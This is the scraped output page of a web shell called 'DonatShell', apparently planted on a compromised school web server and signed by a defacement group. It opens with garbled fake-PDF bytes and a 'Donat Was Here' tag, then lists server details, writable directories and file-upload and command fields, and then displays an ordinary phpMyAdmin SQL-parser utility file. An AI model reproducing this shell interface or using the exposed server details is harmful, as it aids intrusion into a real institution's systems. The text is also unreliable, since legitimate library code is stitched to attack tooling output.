%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/phpMyAdmin/libraries/sql-parser/src/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /inetpub/wwwroot/phpMyAdmin/libraries/sql-parser/src/Utils/Misc.php
<?php

/**
 * Miscellaneous utilities.
 *
 * @package    SqlParser
 * @subpackage Utils
 */
namespace SqlParser\Utils;

use SqlParser\Components\Expression;
use SqlParser\Statements\SelectStatement;

/**
 * Miscellaneous utilities.
 *
 * @category   Misc
 * @package    SqlParser
 * @subpackage Utils
 * @author     Dan Ungureanu <udan1107@gmail.com>
 * @license    http://opensource.org/licenses/GPL-2.0 GNU Public License
 */
class Misc
{

    /**
     * Gets a list of all aliases and their original names.
     *
     * @param SelectStatement $statement The statement to be processed.
     * @param string          $database  The name of the database.
     *
     * @return array
     */
    public static function getAliases($statement, $database)
    {
        if (!($statement instanceof SelectStatement)
            || (empty($statement->expr))
            || (empty($statement->from))
        ) {
            return array();
        }

        $retval = array();

        $tables = array();

        /**
         * Expressions that may contain aliases.
         * These are extracted from `FROM` and `JOIN` keywords.
         *
         * @var Expression[] $expressions
         */
        $expressions = $statement->from;

        // Adding expressions from JOIN.
        if (!empty($statement->join)) {
            foreach ($statement->join as $join) {
                $expressions[] = $join->expr;
            }
        }

        foreach ($expressions as $expr) {
            if ((!isset($expr->table)) || ($expr->table === '')) {
                continue;
            }

            $thisDb = ((isset($expr->database)) && ($expr->database !== '')) ?
                $expr->database : $database;

            if (!isset($retval[$thisDb])) {
                $retval[$thisDb] = array(
                    'alias' => null,
                    'tables' => array(),
                );
            }

            if (!isset($retval[$thisDb]['tables'][$expr->table])) {
                $retval[$thisDb]['tables'][$expr->table] = array(
                    'alias' => ((isset($expr->alias)) && ($expr->alias !== '')) ?
                        $expr->alias : null,
                    'columns' => array(),
                );
            }

            if (!isset($tables[$thisDb])) {
                $tables[$thisDb] = array();
            }
            $tables[$thisDb][$expr->alias] = $expr->table;
        }

        foreach ($statement->expr as $expr) {
            if ((!isset($expr->column)) || ($expr->column === '')
                || (!isset($expr->alias)) || ($expr->alias === '')
            ) {
                continue;
            }

            $thisDb = ((isset($expr->database)) && ($expr->database !== '')) ?
                $expr->database : $database;

            if ((isset($expr->table)) && ($expr->table !== '')) {
                $thisTable = isset($tables[$thisDb][$expr->table]) ?
                    $tables[$thisDb][$expr->table] : $expr->table;
                $retval[$thisDb]['tables'][$thisTable]['columns'][$expr->column] = $expr->alias;
            } else {
                foreach ($retval[$thisDb]['tables'] as &$table) {
                    $table['columns'][$expr->column] = $expr->alias;
                }
            }
        }

        return $retval;
    }
}

Anon7 - 2022
AnonSec Team